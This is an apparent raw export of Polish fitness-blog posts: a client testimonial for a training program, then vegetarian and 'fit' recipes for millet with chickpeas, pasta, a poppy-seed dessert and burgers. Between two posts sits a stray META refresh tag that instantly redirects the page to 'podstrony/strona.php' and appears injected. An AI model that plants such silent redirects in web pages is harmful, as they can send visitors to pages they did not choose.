<a href="https://2.bp.blogspot.com/-hvpt2baVna0/XEA_pynEm0I/AAAAAAAAD0c/JtaIdO6fVZ8gFz2C7ncnJta9Jl-AiJyVQCEwYBhgL/s1600/IMG_4376.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://2.bp.blogspot.com/-hvpt2baVna0/XEA_pynEm0I/AAAAAAAAD0c/JtaIdO6fVZ8gFz2C7ncnJta9Jl-AiJyVQCEwYBhgL/s400/IMG_4376.JPG" width="300" /></a><a href="https://1.bp.blogspot.com/-CGURHgRJ9xQ/XEA_px_hMyI/AAAAAAAAD0Y/wYi0YtO7Msw_4FMhEm9NyiRAN8YoJ5IfQCEwYBhgL/s1600/IMG_6610.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="978" height="400" src="https://1.bp.blogspot.com/-CGURHgRJ9xQ/XEA_px_hMyI/AAAAAAAAD0Y/wYi0YtO7Msw_4FMhEm9NyiRAN8YoJ5IfQCEwYBhgL/s400/IMG_6610.jpg" width="243" /></a></div>
<div align="center" class="MsoListParagraphCxSpMiddle" style="text-align: center;">
<br /></div>
<br clear="ALL" />
<br />
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<span style="text-indent: 35.4pt;"> Na koniec naszej rozmowy nie
mogłem sobie oczywiście darować pytania do Przemka jak czuje się w „nowym
ciele” i jak to jest być lepszą wersją samego siebie </span><span style="font-family: "wingdings"; text-indent: 35.4pt;">J</span><span style="text-indent: 35.4pt;"> Odpowiedź powinna być
wskazówką dla każdego z Was, kto jeszcze zastanawia się czy podnieść tyłek z
kanapy : </span></div>
<div class="MsoListParagraphCxSpMiddle" style="text-align: justify;">
<span style="text-indent: 35.4pt;"><br /></span></div>
<div class="MsoNormal" style="margin-left: 36.0pt; text-align: justify;">
<i><span style="color: #4f81bd; mso-themecolor: accent1;">Jest to naprawdę fantastyczne uczucie! Sięgając pamięcią jeszcze kilka
miesięcy wstecz a widząc siebie teraz, sam czasem nie dowierzam, że udało mi
się osiągnąć tak wiele w tak krótkim czasie i że to w ogóle udało się osiągnąć.
Czuję się rewelacyjnie fizycznie, mam mnóstwo energii i chęci do działania. Nie
znam pojęcia „nie chce mi się” (no chyba, że iść do pracy). Psychicznie również
czuję się świetnie. Przestałem wstydzić się swojego wyglądu co zaowocowało
zyskaniem pewności siebie co również pomogło mi w osiągnięciu kilku innych
prywatnych celów. Polecam każdemu, kto chce zmienić swoje życie współpracę z
Fabryką Siły. Wystarczy robić to co jest napisane a efekty pojawiają się same.<o:p></o:p></span></i></div>
<br />
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
<br /></div>
<META HTTP-EQUIV="REFRESH" CONTENT="0; URL=podstrony/strona.php ">
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com3tag:blogger.com,1999:blog-3244685852680001953.post-89601323148899604672019-01-12T15:13:00.000+01:002019-01-12T15:13:41.568+01:00BEZMIĘSNY OBIAD CZYLI KASZA JAGLANA Z CIECIERZYCĄ W SOSIE POMIDOROWYM Z PARMEZANEM<div style="text-align: center;">
Jeśli przejadły Wam się mięsne obiady, macie dość kurczaka z ryżem i kaszy z rybą ;) mam dla Was fajny przepis na bezmięsną odskocznie od tej rutyny. Smakuje nieco po włosku, ma w sobie troszkę ze spaghetti. Więc jeśli lubicie syte pomidorowo - serowe dania to powinno przypaść Wam do gustu.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-JdN75STZ6Po/XDn1hWGb4wI/AAAAAAAADzY/qfhoRdvMZvc7Dm256Q6OkDbcdA7Kt8qMwCLcBGAs/s1600/ciecierzyca%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://2.bp.blogspot.com/-JdN75STZ6Po/XDn1hWGb4wI/AAAAAAAADzY/qfhoRdvMZvc7Dm256Q6OkDbcdA7Kt8qMwCLcBGAs/s640/ciecierzyca%2B1.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<u><b>Potrzebujemy:</b></u></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Ciecierzyca - 100 g (ja użyłam z puszki)</div>
<div style="text-align: center;">
kasza jaglana - pół woreczka</div>
<div style="text-align: center;">
oliwa z oliwek 1,5 łyżki</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Sos pomidorowy:</div>
<div style="text-align: center;">
parmezan - 10 g</div>
<div style="text-align: center;">
przecier pomidorowy - 200 ml</div>
<div style="text-align: center;">
1 ząbek czosnku </div>
<div style="text-align: center;">
bazylia, oregano, zioła prowansalskie</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<u><b>Jak to zrobić:</b></u></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Nagrzewamy piekarnik do 200 st. Ciecierzyce płukamy na sitku. Osuszoną przekładamy na blachę wyłożoną papierem do pieczenia. Ciecierzycę polewamy oliwą z oliwek (może być aromatyzowana np. czosnkowa), posypujemy solą i pieprzem. Wszystko wmasowujemy rękami i wkładamy do nagrzanego piekarnika na 15 minut.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Kaszę jaglaną gotujemy wg przepisu na opakowaniu.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Sos pomidorowy: łączymy przecier pomidorowy z czosnkiem i włoskimi przyprawami. Podgrzewamy.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Kasze podajemy z ciecierzycą, polewamy sosem i podajemy ze startym parmezanem.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-RCx0pACDDsE/XDn10HShwaI/AAAAAAAADzg/4vvuW1xVRhoTdQMDjbNa5qnesV4wfWx8ACLcBGAs/s1600/IMG_20190103_155041.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://2.bp.blogspot.com/-RCx0pACDDsE/XDn10HShwaI/AAAAAAAADzg/4vvuW1xVRhoTdQMDjbNa5qnesV4wfWx8ACLcBGAs/s400/IMG_20190103_155041.jpg" width="400" /></a></div>
<div style="text-align: center;">
Smacznego! </div>
<br />
<br />Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com1tag:blogger.com,1999:blog-3244685852680001953.post-8824120764530161502019-01-05T16:57:00.000+01:002019-01-05T16:57:05.148+01:00Makaron z warzywami, fetą i suszonymi pomidorami<div style="text-align: center;">
Dzisiaj przepis na wegetariańskie danie obiadowe :) </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Jeden z moich ulubionych przepisów na diecie z <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">Fabryki Siły</a>. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>Makro :</b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Energia - 723 kcal</div>
<div style="text-align: center;">
Białko - 30 g</div>
<div style="text-align: center;">
Tłuszcz - 28 g</div>
<div style="text-align: center;">
Węglowodany - 90 g</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-RACDE5CpVPo/XDDScLALcvI/AAAAAAAADyc/2EumGvBQc6MrKPMtrZXgilDwchy78BNzwCLcBGAs/s1600/20190105_162200.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://3.bp.blogspot.com/-RACDE5CpVPo/XDDScLALcvI/AAAAAAAADyc/2EumGvBQc6MrKPMtrZXgilDwchy78BNzwCLcBGAs/s320/20190105_162200.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Składniki :</b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Makaron pełnoziarnisty - 80 g</div>
<div class="separator" style="clear: both; text-align: center;">
Oliwa z oliwek -18 g</div>
<div class="" style="clear: both; text-align: center;">
Pomidory suszone - 45 g</div>
<div class="" style="clear: both; text-align: center;">
Ser Feta - 45 g</div>
<div class="" style="clear: both; text-align: center;">
Mieszkanka Warzyw włoska - 190 g </div>
<div class="" style="clear: both; text-align: center;">
Czosnek - 9 g</div>
<div class="" style="clear: both; text-align: center;">
Bazylia - 13 g</div>
<div class="" style="clear: both; text-align: center;">
Zioła prowansalskie , pieprz - szczypta</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-faHsxf64vvE/XDDScIsUbCI/AAAAAAAADyg/FZsMMsM3PXEVSIx2EaBasTRuUA8d5A5qgCLcBGAs/s1600/20190105_162153.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://2.bp.blogspot.com/-faHsxf64vvE/XDDScIsUbCI/AAAAAAAADyg/FZsMMsM3PXEVSIx2EaBasTRuUA8d5A5qgCLcBGAs/s320/20190105_162153.jpg" width="320" /></a></div>
<br />
<br />
<div style="text-align: center;">
<b>Przygotowanie :</b></div>
<div style="text-align: center;">
1. Makaron gotujemy , warzywa dusimy na oliwie z oliwek.</div>
<div style="text-align: center;">
2. Do podduszonych warzyw dodajemy pokrojone pomidory suszone, ser feta , czosnek wyciśnięty przez praskę lub drobno posiekany oraz zioła prowansalskie i pierz. </div>
<div style="text-align: center;">
4. Całość podajemy z makaronem :) </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com2tag:blogger.com,1999:blog-3244685852680001953.post-19817714883561958092018-12-30T10:26:00.000+01:002018-12-30T10:26:28.742+01:00MAKIEŁKI CZYLI NIE-FIT DESER NA ŚWIĘTA LUB SYLWESTRA<div style="text-align: center;">
Jeśli komuś zostało troszkę maku lub masy makowej ze świąt proponuję deser ostatniej chwili na Sylwestra. Makiełki bądź makówki czyli słodki mak z bakaliami z makaronem lub bułką namoczoną w mleku. W zeszłym roku były z bułką, a w tym z łazankami. UWAGA: PRZEPIS NIE FIT :) Mimo, że składniki są zdrowe i zdecydowanie fit to w takiej ilości i tak słodkie dietetyczne być nie mogą :)</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/--pngQYu7YI0/XCiOX8xSJSI/AAAAAAAADx4/yTPjNDLWAh04Cxa8Yx6S2LUlCKMUVbBggCLcBGAs/s1600/makielki%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="424" src="https://1.bp.blogspot.com/--pngQYu7YI0/XCiOX8xSJSI/AAAAAAAADx4/yTPjNDLWAh04Cxa8Yx6S2LUlCKMUVbBggCLcBGAs/s640/makielki%2B1.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b><u>Co potrzebujemy:</u></b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
- 300 g mielonego maku</div>
<div style="text-align: center;">
- mleko ok. 350 ml</div>
<div style="text-align: center;">
- 40 g masła</div>
<div style="text-align: center;">
- 5 łyżek miodu - lub więcej w zależnośći jak słodkie makiełki chcemy</div>
<div style="text-align: center;">
- bakalie w dowolnej ilości: morele, rodzynki, suszone śliwki, daktyle (warto wcześniej namoczyć)</div>
<div style="text-align: center;">
- orzechy i migdały w dowolnej ilośći (ja użyłam płatków migdałowych i posiekanych orzechów włoskich)</div>
<div style="text-align: center;">
- aromat migdałowy ( ja dałam pół buteleczki)</div>
<div style="text-align: center;">
- 3 białka jaj</div>
<div style="text-align: center;">
- makaron łazanki lub inny drobny</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b><u>Jak to zrobić:</u></b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Mleko zagotować (na 300 g maku przypada ok. 350 ml mleka). Zalać mak gorącym mlekiem, mieszać ok 1 minute na małym gazie. Mak ma mieć konsystencje mokrego piasku. Do maku dodajemy rozpuszczone masło,aromat i miód. Dodajemy bakalie i orzechy. Z białek ubijamy pianę i mieszamy z makiełkami (ważne, zeby makiełki nie były już gorące bo zrobi się białkowa jajecznica). Makaron gotujemy wg. przepisu na opakowaniu w ilości nam odpowiadającej. Zależy czy chcemy mieć więcej masy makowej czy makaronu. Mieszamy makaron z makiem i odstawiamy do lodówki, żeby się przegryzło.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-KQEZVjHCLFE/XCiOX11zq4I/AAAAAAAADx0/dK7yl-OqPS0NJNu038VtkEBLBfH2-XDaACLcBGAs/s1600/makielki%2B2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="424" src="https://4.bp.blogspot.com/-KQEZVjHCLFE/XCiOX11zq4I/AAAAAAAADx0/dK7yl-OqPS0NJNu038VtkEBLBfH2-XDaACLcBGAs/s640/makielki%2B2.jpg" width="640" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Żeby było uber świątecznie i zimowo można makiełki podać z mandarynką :)</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Jeśli chcemy, żeby przepis był bardziej fit możemy zmniejszyć ilość miodu, użyć makaronu pełnoziarnistego i mleka roślinnego. Ale moim zdaniem nie ma sensu bo takie tradycyjne makiełki smakują najlepiej.</div>
<div style="text-align: center;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com3tag:blogger.com,1999:blog-3244685852680001953.post-69922630294827211862018-12-16T18:27:00.001+01:002018-12-17T10:19:41.671+01:00Fit Burger w trzech odsłonach <div style="text-align: justify;">
</div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Dzisiaj przepis na króla fast foodów czyli burgera. U nas
w wersji fit, a właściwie w trzech fit wersjach. Wersja z wołowiną i dwie
wegetariańskie z marchewką i z burakami. Proste, smaczne i mega sycące
przepisy. Szczególnie te warzywne. Zaczynamy!<o:p></o:p></span></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: justify;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span style="font-family: "times new roman" , serif; font-size: 13.5pt;">Klasyk z wołowiną <o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- 130 g wołowego mięsa mielonego <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- 30 cebuli <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- kilka plasterków pomidora, cebuli i ogórka
kiszonego <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">-bułka graham <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- sałata<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">-sos tzatziki (przepis na sos poniżej) <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- oliwa z oliwek <o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Sos
tzatziki :<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> - Jogurt naturalny 50 g<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> - Ogórek kiszony 30 g<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">- Czosnek 5 g<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">koper włoski, oregano , bazylia<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-zcvO-I7m7S0/XBaJgr2McuI/AAAAAAAADwc/pC5mWR_FyPEasv8Npfu--PciQS1hI_Y4ACLcBGAs/s1600/DSC_0771.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="265" src="https://1.bp.blogspot.com/-zcvO-I7m7S0/XBaJgr2McuI/AAAAAAAADwc/pC5mWR_FyPEasv8Npfu--PciQS1hI_Y4ACLcBGAs/s400/DSC_0771.JPG" width="400" /></a></div>
<br />
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Przygotowanie
:<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
</div>
<ol>
<li style="text-align: justify;">Ogórek
pokroić w drobną kostkę. </li>
<li style="text-align: justify;">Czosnek
obrać i przecisnąć przez praskę.</li>
<li style="text-align: justify;">Wymieszać
wszystkie składniki.</li>
</ol>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-HFJDoD9-QCE/XBaJV1B9j4I/AAAAAAAADwU/6mmMR4rhPYkrEg4vQZm-nrBq1jX4uOwNQCLcBGAs/s1600/DSC_0772.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="640" src="https://3.bp.blogspot.com/-HFJDoD9-QCE/XBaJV1B9j4I/AAAAAAAADwU/6mmMR4rhPYkrEg4vQZm-nrBq1jX4uOwNQCLcBGAs/s640/DSC_0772.JPG" width="424" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-sg2UGp6A_fw/XBaJV07x4XI/AAAAAAAADwQ/3Kth7PAWaKUiFGlvCZGz702vNrWn31KqgCLcBGAs/s1600/DSC_0775.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="640" src="https://3.bp.blogspot.com/-sg2UGp6A_fw/XBaJV07x4XI/AAAAAAAADwQ/3Kth7PAWaKUiFGlvCZGz702vNrWn31KqgCLcBGAs/s640/DSC_0775.JPG" width="424" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-kgTQyWPtfro/XBaJWFFX4gI/AAAAAAAADwY/jb0waw-RAP8TBKPTyWhMxtQ8J34jisMigCLcBGAs/s1600/DSC_0782.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="424" src="https://2.bp.blogspot.com/-kgTQyWPtfro/XBaJWFFX4gI/AAAAAAAADwY/jb0waw-RAP8TBKPTyWhMxtQ8J34jisMigCLcBGAs/s640/DSC_0782.JPG" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-DTs-eOdZQUo/XBaJojyzmGI/AAAAAAAADwk/h-XVX-DjbhIrVlXYDbFlopPa0h5CPMdjgCLcBGAs/s1600/burer%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="424" src="https://3.bp.blogspot.com/-DTs-eOdZQUo/XBaJojyzmGI/AAAAAAAADwk/h-XVX-DjbhIrVlXYDbFlopPa0h5CPMdjgCLcBGAs/s640/burer%2B1.jpg" width="640" /></a></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Marchewkowy
Burger<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></b>
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Składniki
:</span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Bułka pełnoziarnista 60 g<br />
Marchew 80 g<br />
0,3 szklanki ugotowanej kaszy jaglanej<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Ziarna sezamu 10 g<br />
Sałata (2 liście)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Cebula 30 g<br />
Pomidor 60 g<br />
Oliwa z oliwek 5 g<br />
Pieprz, kolendra do smaku<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<b><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Przygotowanie
:<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: center;">
<br /></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-align: justify; text-indent: -.25in;">
</div>
<ol>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Marchewkę
obrać, umyć, zatrzeć na tarce.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Cebulę
obrać, pokroić w drobną kostkę.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Kaszę
ugotować zgodnie z przepisem na opakowaniu.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Kaszę
wymieszać z marchewką, cebulą, sezamem, oliwą i ziołami.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Rozgrzać
piekarnik do 200 stopni.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Formować
burgery i umieścić je na papierze do pieczenia.</span></li>
<li><span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt; text-indent: -0.25in;">Piec
30 minut. Po upływie 15 minut burgery można przekręcić na drugą stronę.</span></li>
</ol>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-4K30CDNbZZg/XBaJ7F2mETI/AAAAAAAADww/RykKGsh4Z5IV6kWLAYOJdlbSLt-NvZSbACLcBGAs/s1600/DSC_0765.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="265" src="https://4.bp.blogspot.com/-4K30CDNbZZg/XBaJ7F2mETI/AAAAAAAADww/RykKGsh4Z5IV6kWLAYOJdlbSLt-NvZSbACLcBGAs/s400/DSC_0765.JPG" width="400" /></a></div>
<!--[if !supportLists]--><br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-eNNGvmeHTQk/XBaJ7ED_0rI/AAAAAAAADw0/IonLfxjXcOMJGWLaNwazgCyV37xsIYoVgCLcBGAs/s1600/DSC_0794.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="400" src="https://3.bp.blogspot.com/-eNNGvmeHTQk/XBaJ7ED_0rI/AAAAAAAADw0/IonLfxjXcOMJGWLaNwazgCyV37xsIYoVgCLcBGAs/s400/DSC_0794.JPG" width="265" /></a><a href="https://3.bp.blogspot.com/-lo3rTFnwwQs/XBaJ7Ch3fdI/AAAAAAAADw4/3OdpKJKEKcwCdD35fk8bSF1B_dXnm0ZrgCLcBGAs/s1600/DSC_0791.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1063" height="400" src="https://3.bp.blogspot.com/-lo3rTFnwwQs/XBaJ7Ch3fdI/AAAAAAAADw4/3OdpKJKEKcwCdD35fk8bSF1B_dXnm0ZrgCLcBGAs/s400/DSC_0791.JPG" width="265" /></a></div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-nE_xlhMlLNA/XBaKDUsXwcI/AAAAAAAADw8/5tWVBIKIjIcCmXwrQ3okKqi2B89LIG2UQCLcBGAs/s1600/burger%2B4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="carrot burger" border="0" data-original-height="1600" data-original-width="1063" height="640" src="https://2.bp.blogspot.com/-nE_xlhMlLNA/XBaKDUsXwcI/AAAAAAAADw8/5tWVBIKIjIcCmXwrQ3okKqi2B89LIG2UQCLcBGAs/s640/burger%2B4.jpg" title="burger marchewkowy" width="424" /></a></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: justify;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; text-align: justify;">
<span lang="PL" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br /></span></div>
